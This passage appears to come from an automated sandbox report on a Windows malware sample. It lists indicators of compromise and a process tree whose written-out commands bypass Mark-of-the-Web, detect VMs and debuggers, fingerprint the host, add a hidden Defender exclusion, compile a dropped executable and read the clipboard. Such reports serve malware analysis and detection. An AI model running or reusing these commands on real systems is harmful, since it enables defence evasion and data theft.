6076	schtasks.exe
5288	schtasks.exe
1688	schtasks.exe
2124	schtasks.exe
4988	schtasks.exe
3348	schtasks.exe
5516	schtasks.exe
2008	schtasks.exe
5572	schtasks.exe
5752	schtasks.exe
5236	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2036	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
2036	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
952	powershell.exe
952	powershell.exe
952	powershell.exe
5972	powershell.exe
5972	powershell.exe
2036	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
1632	powershell.exe
1632	powershell.exe
3772	powershell.exe
3772	powershell.exe
3772	powershell.exe
3772	powershell.exe
3772	powershell.exe
4836	powershell.exe
4836	powershell.exe
5000	powershell.exe
5000	powershell.exe
576	powershell.exe
576	powershell.exe
4172	powershell.exe
4172	powershell.exe
2352	powershell.exe
2352	powershell.exe
6028	powershell.exe
6028	powershell.exe
4872	powershell.exe
4872	powershell.exe
2328	powershell.exe
2328	powershell.exe
5836	powershell.exe
5836	powershell.exe
1156	powershell.exe
1156	powershell.exe
4672	powershell.exe
4672	powershell.exe
4012	powershell.exe
4012	powershell.exe
6076	powershell.exe
6076	powershell.exe
3724	powershell.exe
3724	powershell.exe
3280	powershell.exe
3280	powershell.exe
3464	powershell.exe
3464	powershell.exe
4064	MsEdgeAutoUpdate.exe
4064	MsEdgeAutoUpdate.exe
6012	powershell.exe
6012	powershell.exe
2464	powershell.exe
2464	powershell.exe
916	powershell.exe
916	powershell.exe
1692	powershell.exe
1692	powershell.exe
3248	powershell.exe
3248	powershell.exe
2524	powershell.exe
2524	powershell.exe
2052	powershell.exe
2052	powershell.exe
5824	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	492	WMIC.exe
Token: SeSecurityPrivilege	492	WMIC.exe
Token: SeTakeOwnershipPrivilege	492	WMIC.exe
Token: SeLoadDriverPrivilege	492	WMIC.exe
Token: SeSystemProfilePrivilege	492	WMIC.exe
Token: SeSystemtimePrivilege	492	WMIC.exe
Token: SeProfSingleProcessPrivilege	492	WMIC.exe
Token: SeIncBasePriorityPrivilege	492	WMIC.exe
Token: SeCreatePagefilePrivilege	492	WMIC.exe
Token: SeBackupPrivilege	492	WMIC.exe
Token: SeRestorePrivilege	492	WMIC.exe
Token: SeShutdownPrivilege	492	WMIC.exe
Token: SeDebugPrivilege	492	WMIC.exe
Token: SeSystemEnvironmentPrivilege	492	WMIC.exe
Token: SeRemoteShutdownPrivilege	492	WMIC.exe
Token: SeUndockPrivilege	492	WMIC.exe
Token: SeManageVolumePrivilege	492	WMIC.exe
Token: 33	492	WMIC.exe
Token: 34	492	WMIC.exe
Token: 35	492	WMIC.exe
Token: 36	492	WMIC.exe
Token: SeIncreaseQuotaPrivilege	492	WMIC.exe
Token: SeSecurityPrivilege	492	WMIC.exe
Token: SeTakeOwnershipPrivilege	492	WMIC.exe
Token: SeLoadDriverPrivilege	492	WMIC.exe
Token: SeSystemProfilePrivilege	492	WMIC.exe
Token: SeSystemtimePrivilege	492	WMIC.exe
Token: SeProfSingleProcessPrivilege	492	WMIC.exe
Token: SeIncBasePriorityPrivilege	492	WMIC.exe
Token: SeCreatePagefilePrivilege	492	WMIC.exe
Token: SeBackupPrivilege	492	WMIC.exe
Token: SeRestorePrivilege	492	WMIC.exe
Token: SeShutdownPrivilege	492	WMIC.exe
Token: SeDebugPrivilege	492	WMIC.exe
Token: SeSystemEnvironmentPrivilege	492	WMIC.exe
Token: SeRemoteShutdownPrivilege	492	WMIC.exe
Token: SeUndockPrivilege	492	WMIC.exe
Token: SeManageVolumePrivilege	492	WMIC.exe
Token: 33	492	WMIC.exe
Token: 34	492	WMIC.exe
Token: 35	492	WMIC.exe
Token: 36	492	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3976	WMIC.exe
Token: SeSecurityPrivilege	3976	WMIC.exe
Token: SeTakeOwnershipPrivilege	3976	WMIC.exe
Token: SeLoadDriverPrivilege	3976	WMIC.exe
Token: SeSystemProfilePrivilege	3976	WMIC.exe
Token: SeSystemtimePrivilege	3976	WMIC.exe
Token: SeProfSingleProcessPrivilege	3976	WMIC.exe
Token: SeIncBasePriorityPrivilege	3976	WMIC.exe
Token: SeCreatePagefilePrivilege	3976	WMIC.exe
Token: SeBackupPrivilege	3976	WMIC.exe
Token: SeRestorePrivilege	3976	WMIC.exe
Token: SeShutdownPrivilege	3976	WMIC.exe
Token: SeDebugPrivilege	3976	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3976	WMIC.exe
Token: SeRemoteShutdownPrivilege	3976	WMIC.exe
Token: SeUndockPrivilege	3976	WMIC.exe
Token: SeManageVolumePrivilege	3976	WMIC.exe
Token: 33	3976	WMIC.exe
Token: 34	3976	WMIC.exe
Token: 35	3976	WMIC.exe
Token: 36	3976	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3976	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2036 wrote to memory of 3268	2036	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	80
PID 3268 wrote to memory of 3244	3268	cmd.exe	82
PID 2036 wrote to memory of 4352	2036	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	83
PID 4352 wrote to memory of 492	4352	cmd.exe	85
PID 2036 wrote to memory of 2476	2036	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	87
PID 2476 wrote to memory of 3976	2476	cmd.exe	89
PID 2036 wrote to memory of 3944	2036	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	90
PID 3944 wrote to memory of 4168	3944	cmd.exe	92
PID 2036 wrote to memory of 3884	2036	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	93
PID 3884 wrote to memory of 4064	3884	cmd.exe	95
PID 2036 wrote to memory of 3128	2036	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	96
PID 3128 wrote to memory of 3204	3128	cmd.exe	98
PID 2036 wrote to memory of 2040	2036	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	99
PID 2040 wrote to memory of 2456	2040	cmd.exe	101
PID 2036 wrote to memory of 1920	2036	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	102
PID 1920 wrote to memory of 2560	1920	cmd.exe	104
PID 2036 wrote to memory of 3052	2036	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	105
PID 3052 wrote to memory of 648	3052	cmd.exe	107
PID 2036 wrote to memory of 2472	2036	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	108
PID 2472 wrote to memory of 1680	2472	cmd.exe	110
PID 2036 wrote to memory of 1100	2036	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	111
PID 1100 wrote to memory of 4284	1100	cmd.exe	113
PID 2036 wrote to memory of 4996	2036	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	114
PID 4996 wrote to memory of 1068	4996	cmd.exe	116
PID 2036 wrote to memory of 4692	2036	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	117
PID 4692 wrote to memory of 4852	4692	cmd.exe	119
PID 2036 wrote to memory of 3352	2036	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	120
PID 3352 wrote to memory of 3932	3352	cmd.exe	122
PID 2036 wrote to memory of 2520	2036	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	123
PID 2520 wrote to memory of 4988	2520	cmd.exe	125
PID 2036 wrote to memory of 5228	2036	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	126
PID 5228 wrote to memory of 2380	5228	cmd.exe	128
PID 2036 wrote to memory of 2972	2036	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	129
PID 2972 wrote to memory of 1232	2972	cmd.exe	131
PID 2036 wrote to memory of 4032	2036	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	132
PID 4032 wrote to memory of 5388	4032	cmd.exe	134
PID 2036 wrote to memory of 5364	2036	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	135
PID 5364 wrote to memory of 5332	5364	cmd.exe	137
PID 2036 wrote to memory of 5284	2036	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	138
PID 5284 wrote to memory of 5244	5284	cmd.exe	140
PID 2036 wrote to memory of 5484	2036	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	141
PID 5484 wrote to memory of 5448	5484	cmd.exe	143
PID 2036 wrote to memory of 5876	2036	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	145
PID 5876 wrote to memory of 5572	5876	cmd.exe	147
PID 2036 wrote to memory of 2664	2036	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	148
PID 2664 wrote to memory of 952	2664	cmd.exe	150
PID 2036 wrote to memory of 3656	2036	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	151
PID 3656 wrote to memory of 5972	3656	cmd.exe	153
PID 2036 wrote to memory of 2056	2036	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	154
PID 2056 wrote to memory of 1632	2056	cmd.exe	156
PID 2036 wrote to memory of 5692	2036	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	157
PID 5692 wrote to memory of 5812	5692	cmd.exe	159
PID 2036 wrote to memory of 4664	2036	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	160
PID 4664 wrote to memory of 5704	4664	cmd.exe	162
PID 2036 wrote to memory of 4932	2036	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	163
PID 4932 wrote to memory of 3772	4932	cmd.exe	165
PID 2036 wrote to memory of 5804	2036	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	166
PID 5804 wrote to memory of 4180	5804	cmd.exe	168
PID 2036 wrote to memory of 4528	2036	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	169
PID 4528 wrote to memory of 5700	4528	cmd.exe	171
PID 2036 wrote to memory of 6052	2036	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	172
PID 6052 wrote to memory of 5168	6052	cmd.exe	174
PID 2036 wrote to memory of 2420	2036	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	175
PID 2420 wrote to memory of 5164	2420	cmd.exe	177

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 6 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5668	attrib.exe
1208	attrib.exe
2052	attrib.exe
3704	attrib.exe
4660	attrib.exe
5464	attrib.exe

C:\Users\Admin\AppData\Local\Temp\2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
"C:\Users\Admin\AppData\Local\Temp\2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe"
1⤵
- Subvert Trust Controls: Mark-of-the-Web Bypass
- Checks processor information in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2036
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c "del /f /q \"C:\Users\Admin\AppData\Local\Temp\2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier\" 2>nul""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3268
- - C:\Windows\system32\cmd.exe
    cmd /c "del /f /q \"C:\Users\Admin\AppData\Local\Temp\2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier\" 2>nul"
    3⤵
    PID:3244
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic csproduct get uuid"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4352
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:492
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic desktopmonitor get ScreenWidth,ScreenHeight /format:csv"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2476
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic desktopmonitor get ScreenWidth,ScreenHeight /format:csv
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3976
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic logicaldisk where "DriveType=3" get Size /format:csv"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3944
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic logicaldisk where "DriveType=3" get Size /format:csv
    3⤵
    PID:4168
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get Name /format:csv"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3884
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path win32_VideoController get Name /format:csv
    3⤵
    - Detects videocard installed
    PID:4064
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3128
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools"
    3⤵
    - Looks for VMWare Tools registry key
    PID:3204
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2040
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions"
    3⤵
    - Looks for VirtualBox Guest Additions in registry
    PID:2456
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1920
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest"
    3⤵
    - Enumerates VirtualBox registry keys
    PID:2560
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxSF" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3052
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxSF"
    3⤵
    - Enumerates VirtualBox registry keys
    PID:648
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmci" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2472
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmci"
    3⤵
    - Looks for VMWare services registry key.
    PID:1680
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmhgfs" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1100
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmhgfs"
    3⤵
    PID:4284
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\VMMEMCTL" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4996
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\VMMEMCTL"
    3⤵
    - Looks for VMWare services registry key.
    PID:1068
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\QEMU" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4692
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\QEMU"
    3⤵
    PID:4852
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Parallels" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3352
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Parallels"
    3⤵
    PID:3932
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Wine" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2520
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Wine"
    3⤵
    - Identifies Wine through registry keys
    PID:4988
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\xenevtchn" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5228
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\xenevtchn"
    3⤵
    - Looks for Xen service registry key.
    PID:2380
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Sandboxie" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2972
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Sandboxie"
    3⤵
    PID:1232
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Cuckoo" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4032
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Cuckoo"
    3⤵
    PID:5388
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\JoeBox" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5364
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\JoeBox"
    3⤵
    PID:5332
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist /FO CSV /NH"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5284
- - C:\Windows\system32\tasklist.exe
    tasklist /FO CSV /NH
    3⤵
    - Enumerates processes with tasklist
    PID:5244
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "getmac /FO CSV /NH"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5484
- - C:\Windows\system32\getmac.exe
    getmac /FO CSV /NH
    3⤵
    PID:5448
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "driverquery /FO CSV"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5876
- - C:\Windows\system32\driverquery.exe
    driverquery /FO CSV
    3⤵
    PID:5572
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoP -Command "Get-Process|Where-Object{$_.MainWindowTitle}|Select-Object -ExpandProperty MainWindowTitle""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2664
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Command "Get-Process|Where-Object{$_.MainWindowTitle}|Select-Object -ExpandProperty MainWindowTitle"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:952
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoP -Command "(Invoke-WebRequest -Uri 'http://ip-api.com/line?fields=query,hosting' -UseBasicParsing -TimeoutSec 5).Content""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3656
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Command "(Invoke-WebRequest -Uri 'http://ip-api.com/line?fields=query,hosting' -UseBasicParsing -TimeoutSec 5).Content"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:5972
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoP -Command "Add-Type @'using System;using System.Runtime.InteropServices;public class D{[DllImport(\"kernel32\")]public static extern bool IsDebuggerPresent();}'@;[D]::IsDebuggerPresent()""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2056
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Command "Add-Type @'using System;using System.Runtime.InteropServices;public class D{[DllImport(\"kernel32\")]public static extern bool IsDebuggerPresent();}'@;[D]::IsDebuggerPresent()"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:1632
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic computersystem get Manufacturer,Model /format:csv"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5692
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic computersystem get Manufacturer,Model /format:csv
    3⤵
    PID:5812
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic bios get Manufacturer,SMBIOSBIOSVersion /format:csv"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4664
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic bios get Manufacturer,SMBIOSBIOSVersion /format:csv
    3⤵
    PID:5704
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoP -Command "(Get-Process -Id $PID).Parent.ProcessName""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4932
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Command "(Get-Process -Id $PID).Parent.ProcessName"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3772
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net use"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5804
- - C:\Windows\system32\net.exe
    net use
    3⤵
    PID:4180
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist /NH"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4528
- - C:\Windows\system32\tasklist.exe
    tasklist /NH
    3⤵
    - Enumerates processes with tasklist
    PID:5700
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6052
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s
    3⤵
    PID:5168
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get SerialNumber /format:csv"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2420
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic diskdrive get SerialNumber /format:csv
    3⤵
    PID:5164
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoP -Command "(Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion').InstallDate""
  2⤵
  PID:4116
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Command "(Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion').InstallDate"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4836
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic csproduct get uuid 2>nul"
  2⤵
  PID:4188
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    PID:3976
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\CLR\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5000
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /noconfig /nologo /optimize+ /out:C:\Users\Admin\AppData\Local\Microsoft\CLR\pre_strm_1780275910901.exe /lib:C:\Windows\Microsoft.NET\Framework64\v4.0.30319 /r:mscorlib.dll /r:System.dll /r:System.Drawing.dll /r:System.Windows.Forms.dll /target:winexe C:\Users\Admin\AppData\Local\Microsoft\CLR\pre_strm_1780275910901.cs
  2⤵
  PID:1204
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES684A.tmp" "c:\Users\Admin\AppData\Local\Microsoft\CLR\CSC505528A7E1234984847A4F76B1987BC.TMP"
    3⤵
    PID:4956
- C:\Users\Admin\AppData\Local\Temp\2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
  C:\Users\Admin\AppData\Local\Temp\2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe C:\snapshot\12vt\panel\server\build_temp\build_1780249658123_knzyxb\index.js
  2⤵
  - Executes dropped EXE
  - Subvert Trust Controls: Mark-of-the-Web Bypass
  - NTFS ADS
  PID:1792
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "cmd /c "del /f /q \"C:\Users\Admin\AppData\Local\Temp\2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier\" 2>nul""
    3⤵
    PID:4632
  - - C:\Windows\system32\cmd.exe
      cmd /c "del /f /q \"C:\Users\Admin\AppData\Local\Temp\2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier\" 2>nul"
      4⤵
      PID:540
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -Command "Get-Clipboard""
    3⤵
    - Clipboard Data
    PID:4004
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -Command "Get-Clipboard"
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      PID:4172
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic product get name,version /format:csv 2>nul"
    3⤵
    PID:2948
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic product get name,version /format:csv
      4⤵
      PID:5368
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s 2>nul"
